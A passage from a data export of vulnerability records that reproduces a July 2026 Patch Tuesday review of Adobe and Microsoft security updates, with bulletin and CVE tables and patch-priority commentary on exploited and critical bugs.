8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:03:25.304679Z"}, {"uuid": "200bdbff-e6c7-4d13-8c3a-ed7e85612bfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54116", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n 